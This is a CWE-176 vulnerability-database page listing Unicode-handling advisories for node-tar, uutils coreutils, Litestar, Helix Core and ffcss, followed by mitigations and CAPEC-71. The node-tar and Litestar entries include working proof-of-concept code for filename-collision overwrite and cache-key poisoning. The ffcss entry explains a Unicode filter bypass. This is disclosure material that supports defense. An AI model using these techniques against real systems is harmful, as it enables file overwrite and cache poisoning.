CWE-176
AllowedImproper Handling of Unicode Encoding
Abstraction: Variant · Status: Draft
The product does not properly handle when an input contains Unicode encoding.
56 vulnerabilities reference this CWE, most recent first.
GHSA-R6Q2-HW4H-H46W
Vulnerability from github – Published: 2026-01-21 01:05 – Updated: 2026-03-16 14:23TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
AUTHOR: Tomás Illuminati
Details
A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
paths =
isWindows ?
['win32 parallelization disabled']
: paths.map(p => {
return stripTrailingSlashes(
join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
).toLowerCase()
})
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .
drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..
-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss
bash-3.2$
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Impact
This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.
Remediation
Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').
Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.3"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23950"
],
"database_specific": {
"cwe_ids": [
"CWE-176",
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T01:05:49Z",
"nvd_published_at": "2026-01-20T01:15:57Z",
"severity": "HIGH"
},
"details": "**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (\u00df) Collisions on macOS APFS\n\n**AUTHOR**: Tom\u00e1s Illuminati\n\n### Details\n\nA race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `\u00df` and `ss`), allowing them to be processed in parallel. This bypasses the library\u0027s internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.\n\n```typescript\n// node-tar/src/path-reservations.ts (Lines 53-62)\nreserve(paths: string[], fn: Handler) {\n paths =\n isWindows ?\n [\u0027win32 parallelization disabled\u0027]\n : paths.map(p =\u003e {\n return stripTrailingSlashes(\n join(normalizeUnicode(p)), // \u003c- THE PROBLEM FOR MacOS FS\n ).toLowerCase()\n })\n\n```\n\nIn MacOS the ```join(normalizeUnicode(p)), ``` FS confuses \u00df with ss, but this code does not. For example:\n\n``````bash\nbash-3.2$ printf \"CONTENT_SS\\n\" \u003e collision_test_ss\nbash-3.2$ ls\ncollision_test_ss\nbash-3.2$ printf \"CONTENT_ESSZETT\\n\" \u003e collision_test_\u00df\nbash-3.2$ ls -la\ntotal 8\ndrwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .\ndrwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..\n-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss\nbash-3.2$ \n``````\n\n---\n\n### PoC\n\n``````javascript\nconst tar = require(\u0027tar\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst { PassThrough } = require(\u0027stream\u0027);\n\nconst exploitDir = path.resolve(\u0027race_exploit_dir\u0027);\nif (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });\nfs.mkdirSync(exploitDir);\n\nconsole.log(\u0027[*] Testing...\u0027);\nconsole.log(`[*] Extraction target: ${exploitDir}`);\n\n// Construct stream\nconst stream = new PassThrough();\n\nconst contentA = \u0027A\u0027.repeat(1000);\nconst contentB = \u0027B\u0027.repeat(1000);\n\n// Key 1: \"f_ss\"\nconst header1 = new tar.Header({\n path: \u0027collision_ss\u0027,\n mode: 0o644,\n size: contentA.length,\n});\nheader1.encode();\n\n// Key 2: \"f_\u00df\"\nconst header2 = new tar.Header({\n path: \u0027collision_\u00df\u0027,\n mode: 0o644,\n size: contentB.length,\n});\nheader2.encode();\n\n// Write to stream\nstream.write(header1.block);\nstream.write(contentA);\nstream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding\n\nstream.write(header2.block);\nstream.write(contentB);\nstream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding\n\n// End\nstream.write(Buffer.alloc(1024));\nstream.end();\n\n// Extract\nconst extract = new tar.Unpack({\n cwd: exploitDir,\n // Ensure jobs is high enough to allow parallel processing if locks fail\n jobs: 8 \n});\n\nstream.pipe(extract);\n\nextract.on(\u0027end\u0027, () =\u003e {\n console.log(\u0027[*] Extraction complete\u0027);\n\n // Check what exists\n const files = fs.readdirSync(exploitDir);\n console.log(\u0027[*] Files in exploit dir:\u0027, files);\n files.forEach(f =\u003e {\n const p = path.join(exploitDir, f);\n const stat = fs.statSync(p);\n const content = fs.readFileSync(p, \u0027utf8\u0027);\n console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);\n });\n\n if (files.length === 1 || (files.length === 2 \u0026\u0026 fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {\n console.log(\u0027\\[*] GOOD\u0027);\n } else {\n console.log(\u0027[-] No collision\u0027);\n }\n});\n\n``````\n\n---\n\n### Impact\nThis is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `\u00df` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `\u00df` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.\n\n---\n\n### Remediation\n\nUpdate `path-reservations.js` to use a normalization form that matches the target filesystem\u0027s behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase(\u0027en\u0027)` and then `toLocaleUpperCase(\u0027en\u0027)`.\n\nUsers who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.\n\n---",
"id": "GHSA-r6q2-hw4h-h46w",
"modified": "2026-03-16T14:23:26Z",
"published": "2026-01-21T01:05:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS"
}
GHSA-VX9M-XJWF-8CQM
Vulnerability from github – Published: 2026-04-22 18:31 – Updated: 2026-04-30 17:56A logic error in the split utility of uutils coreutils causes the corruption of output filenames when provided with non-UTF-8 prefix or suffix inputs. The implementation utilizes to_string_lossy() when constructing chunk filenames, which automatically rewrites invalid byte sequences into the UTF-8 replacement character (U+FFFD). This behavior diverges from GNU split, which preserves raw pathname bytes intact. In environments utilizing non-UTF-8 encodings, this vulnerability leads to the creation of files with incorrect names, potentially causing filename collisions, broken automation, or the misdirection of output data.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "coreutils"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35375"
],
"database_specific": {
"cwe_ids": [
"CWE-176"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-30T17:56:29Z",
"nvd_published_at": "2026-04-22T17:16:42Z",
"severity": "LOW"
},
"details": "A logic error in the split utility of uutils coreutils causes the corruption of output filenames when provided with non-UTF-8 prefix or suffix inputs. The implementation utilizes to_string_lossy() when constructing chunk filenames, which automatically rewrites invalid byte sequences into the UTF-8 replacement character (U+FFFD). This behavior diverges from GNU split, which preserves raw pathname bytes intact. In environments utilizing non-UTF-8 encodings, this vulnerability leads to the creation of files with incorrect names, potentially causing filename collisions, broken automation, or the misdirection of output data.",
"id": "GHSA-vx9m-xjwf-8cqm",
"modified": "2026-04-30T17:56:29Z",
"published": "2026-04-22T18:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35375"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/pull/11397"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/commit/d2b9550fe821a9a10bf0cec057509211357363f1"
},
{
"type": "PACKAGE",
"url": "https://github.com/uutils/coreutils"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/releases/tag/0.8.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "uutils coreutils has an Improper Handling of Unicode Encoding Issue"
}
GHSA-VXQX-RH46-Q2PG
Vulnerability from github – Published: 2026-02-09 17:19 – Updated: 2026-02-09 22:38Summary
FileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup)
Details
litestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize("NFKD", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter). This transformation is not injective, e.g.:
- "k-" and "k45" both become "k45" (because - ord('-') == 45)
- "k/\n" becomes "k4710", colliding with "k4710"
- "K" (Kelvin sign) normalizes to "K", colliding with "K"
When used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled.
PoC
import asyncio, tempfile
from litestar.stores.file import FileStore
async def main():
d = tempfile.mkdtemp(prefix="ls_filestore_poc_")
store = FileStore(d, create_directories=True)
await store.__aenter__()
# 1) ASCII ord-collision: "-" -> 45
await store.set("k-", b"A")
v = await store.get("k45")
print("k- ->", v)
print("k45 ->", await store.get("k45"))
if v == b"A":
print("VULNERABLE: 'k-' collides with 'k45'")
# 2) NFKD collision: Kelvin sign -> K
await store.set("K", b"B") # U+212A
v2 = await store.get("K")
print("K ->", await store.get("K"))
print("K ->", v2)
if v2 == b"B":
print("VULNERABLE: 'K' collides with 'K' (NFKD)")
if __name__ == "__main__":
asyncio.run(main())
Impact
Vulnerability type: cache poisoning / cache key collision. Impacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore). Possible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "litestar"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.20.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.19.0"
]
}
],
"aliases": [
"CVE-2026-25480"
],
"database_specific": {
"cwe_ids": [
"CWE-176",
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-09T17:19:06Z",
"nvd_published_at": "2026-02-09T20:15:57Z",
"severity": "MODERATE"
},
"details": "### Summary\nFileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup)\n\n### Details\nlitestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize(\"NFKD\", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter).\nThis transformation is not injective, e.g.:\n\n- \"k-\" and \"k45\" both become \"k45\" (because - ord(\u0027-\u0027) == 45)\n- \"k/\\n\" becomes \"k4710\", colliding with \"k4710\"\n- \"\u212a\" (Kelvin sign) normalizes to \"K\", colliding with \"K\"\n\nWhen used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled.\n\n### PoC\n\n```\nimport asyncio, tempfile\nfrom litestar.stores.file import FileStore\n\nasync def main():\n d = tempfile.mkdtemp(prefix=\"ls_filestore_poc_\")\n store = FileStore(d, create_directories=True)\n await store.__aenter__()\n\n # 1) ASCII ord-collision: \"-\" -\u003e 45\n await store.set(\"k-\", b\"A\")\n v = await store.get(\"k45\")\n print(\"k- -\u003e\", v)\n print(\"k45 -\u003e\", await store.get(\"k45\"))\n if v == b\"A\":\n print(\"VULNERABLE: \u0027k-\u0027 collides with \u0027k45\u0027\")\n\n # 2) NFKD collision: Kelvin sign -\u003e K\n await store.set(\"\u212a\", b\"B\") # U+212A\n v2 = await store.get(\"K\")\n print(\"\u212a -\u003e\", await store.get(\"\u212a\"))\n print(\"K -\u003e\", v2)\n if v2 == b\"B\":\n print(\"VULNERABLE: \u0027\u212a\u0027 collides with \u0027K\u0027 (NFKD)\")\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\n### Impact\nVulnerability type: cache poisoning / cache key collision.\nImpacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore).\nPossible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.",
"id": "GHSA-vxqx-rh46-q2pg",
"modified": "2026-02-09T22:38:14Z",
"published": "2026-02-09T17:19:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-vxqx-rh46-q2pg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25480"
},
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/commit/85db6183a76f8a6b3fd6ee3c88d860b9f37a2cca"
},
{
"type": "WEB",
"url": "https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0"
},
{
"type": "PACKAGE",
"url": "https://github.com/litestar-org/litestar"
},
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/releases/tag/v2.20.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Litestar\u0027s FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)"
}
GHSA-W72W-8RM9-6684
Vulnerability from github – Published: 2024-09-25 03:30 – Updated: 2024-09-25 03:30In versions of Helix Core prior to 2024.1 Patch 2 (2024.1/2655224) a Windows ANSI API Unicode "best fit" argument injection was identified.
{
"affected": [],
"aliases": [
"CVE-2024-8067"
],
"database_specific": {
"cwe_ids": [
"CWE-176"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-25T01:15:45Z",
"severity": "MODERATE"
},
"details": "In versions of Helix Core prior to 2024.1 Patch 2 (2024.1/2655224) a Windows ANSI API Unicode \"best fit\" argument injection was identified.",
"id": "GHSA-w72w-8rm9-6684",
"modified": "2024-09-25T03:30:36Z",
"published": "2024-09-25T03:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8067"
},
{
"type": "WEB",
"url": "https://portal.perforce.com/s/detail/a91PA000001SXEzYAO"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WPMX-564X-H2MH
Vulnerability from github – Published: 2023-12-28 21:16 – Updated: 2024-03-01 14:35Summary
The function lookupPreprocess() is meant to apply some transformations to a string by disabling characters in the regex [-_ .]. However, due to the use of late Unicode normalization of type NFKD, it is possible to bypass that validation and re-introduce all the characters in the regex [-_ .].
// lookupPreprocess applies transformations to s so that it can be compared
// to search for something.
// For example, it is used by (ThemeStore).Lookup
func lookupPreprocess(s string) string {
return strings.ToLower(norm.NFKD.String(regexp.MustCompile(`[-_ .]`).ReplaceAllString(s, "")))
}
Take the following equivalent Unicode character U+2024 (․). Initially, the lookupPreprocess() function would compile the regex and replace the regular dot (.). However, the U+2024 (․) would bypass the ReplaceAllString(). When the normalization operation is applied to U+2024 (․), the resulting character will be U+002E (.). Thus, the dot was reintroduced back.
Impact
The lookupPreprocess() can be easily bypassed with equivalent Unicode characters like U+FE4D (﹍), which would result in the omitted U+005F (_), for instance. It should be noted here that the variable s is user-controlled data coming from /cmd/ffcss/commands.go#L22-L28 the command args. The lookupPreprocess() function is only ever used to search for themes loosely (case insensitively, while ignoring dashes, underscores and dots), so the actual security impact is classified as low.
Remediation
A simple fix would be to initially perform the Unicode normalization and then the rest of validations.
References
- https://sim4n6.beehiiv.com/p/unicode-characters-bypass-security-checks
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/ewen-lbh/ffcss"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-52081"
],
"database_specific": {
"cwe_ids": [
"CWE-176",
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-28T21:16:57Z",
"nvd_published_at": "2023-12-28T16:16:02Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe function `lookupPreprocess()` is meant to apply some transformations to a string by disabling characters in the regex `[-_ .]`. However, due to the use of late Unicode normalization of type NFKD, it is possible to bypass that validation and re-introduce all the characters in the regex `[-_ .]`. \n\n```go\n// lookupPreprocess applies transformations to s so that it can be compared\n// to search for something.\n// For example, it is used by (ThemeStore).Lookup\nfunc lookupPreprocess(s string) string {\n\treturn strings.ToLower(norm.NFKD.String(regexp.MustCompile(`[-_ .]`).ReplaceAllString(s, \"\")))\n}\n``` \n\nTake the following equivalent Unicode character U+2024 (\u2024). Initially, the `lookupPreprocess()` function would compile the regex and replace the regular dot (.). However, the U+2024 (\u2024) would bypass the `ReplaceAllString()`. When the normalization operation is applied to U+2024 (\u2024), the resulting character will be U+002E (.). Thus, the dot was reintroduced back.\n\n### Impact\n\nThe `lookupPreprocess()` can be easily bypassed with equivalent Unicode characters like U+FE4D (\ufe4d), which would result in the omitted U+005F (_), for instance. It should be noted here that the variable `s` is user-controlled data coming from [/cmd/ffcss/commands.go#L22-L28](https://github.com/ewen-lbh/ffcss/blob/master/cmd/ffcss/commands.go#L22-L28) the command args. The `lookupPreprocess()` function is only ever used to search for themes loosely (case insensitively, while ignoring dashes, underscores and dots), so the actual security impact is classified as low.\n\n### Remediation\n\nA simple fix would be to initially perform the Unicode normalization and then the rest of validations.\n\n### References\n\n - https://sim4n6.beehiiv.com/p/unicode-characters-bypass-security-checks\n",
"id": "GHSA-wpmx-564x-h2mh",
"modified": "2024-03-01T14:35:42Z",
"published": "2023-12-28T21:16:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ewen-lbh/ffcss/security/advisories/GHSA-wpmx-564x-h2mh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52081"
},
{
"type": "WEB",
"url": "https://github.com/ewen-lbh/ffcss/commit/f9c491874b858a32fcae15045f169fd7d02f90dc"
},
{
"type": "PACKAGE",
"url": "https://github.com/ewen-lbh/ffcss"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "ewen-lbh/ffcss Late-Unicode normalization vulnerability"
}
GHSA-XH5H-P8C5-4W4X
Vulnerability from github – Published: 2026-04-22 18:31 – Updated: 2026-07-06 19:53Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-jcjr-rh8q-7xqf. This link is maintained to preserve external references.
Original Description
A logic error in the ln utility of uutils coreutils causes the program to reject source paths containing non-UTF-8 filename bytes when using target-directory forms (e.g., ln SOURCE... DIRECTORY). While GNU ln treats filenames as raw bytes and creates the links correctly, the uutils implementation enforces UTF-8 encoding, resulting in a failure to stat the file and a non-zero exit code. In environments where automated scripts or system tasks process valid but non-UTF-8 filenames common on Unix filesystems, this divergence causes the utility to fail, leading to a local denial of service for those specific operations.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "coreutils"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-176"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-30T18:00:21Z",
"nvd_published_at": "2026-04-22T17:16:41Z",
"severity": "LOW"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-jcjr-rh8q-7xqf. This link is maintained to preserve external references.\n\n### Original Description\nA logic error in the ln utility of uutils coreutils causes the program to reject source paths containing non-UTF-8 filename bytes when using target-directory forms (e.g., ln SOURCE... DIRECTORY). While GNU ln treats filenames as raw bytes and creates the links correctly, the uutils implementation enforces UTF-8 encoding, resulting in a failure to stat the file and a non-zero exit code. In environments where automated scripts or system tasks process valid but non-UTF-8 filenames common on Unix filesystems, this divergence causes the utility to fail, leading to a local denial of service for those specific operations.",
"id": "GHSA-xh5h-p8c5-4w4x",
"modified": "2026-07-06T19:53:31Z",
"published": "2026-04-22T18:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35373"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/pull/11403"
},
{
"type": "PACKAGE",
"url": "https://github.com/uutils/coreutils"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: uutils coreutils has an Improper Handling of Unicode Encoding Issue",
"withdrawn": "2026-07-06T19:53:31Z"
}
Mitigation MIT-44
Strategy: Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
CAPEC-71: Using Unicode Encoding to Bypass Validation Logic
An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.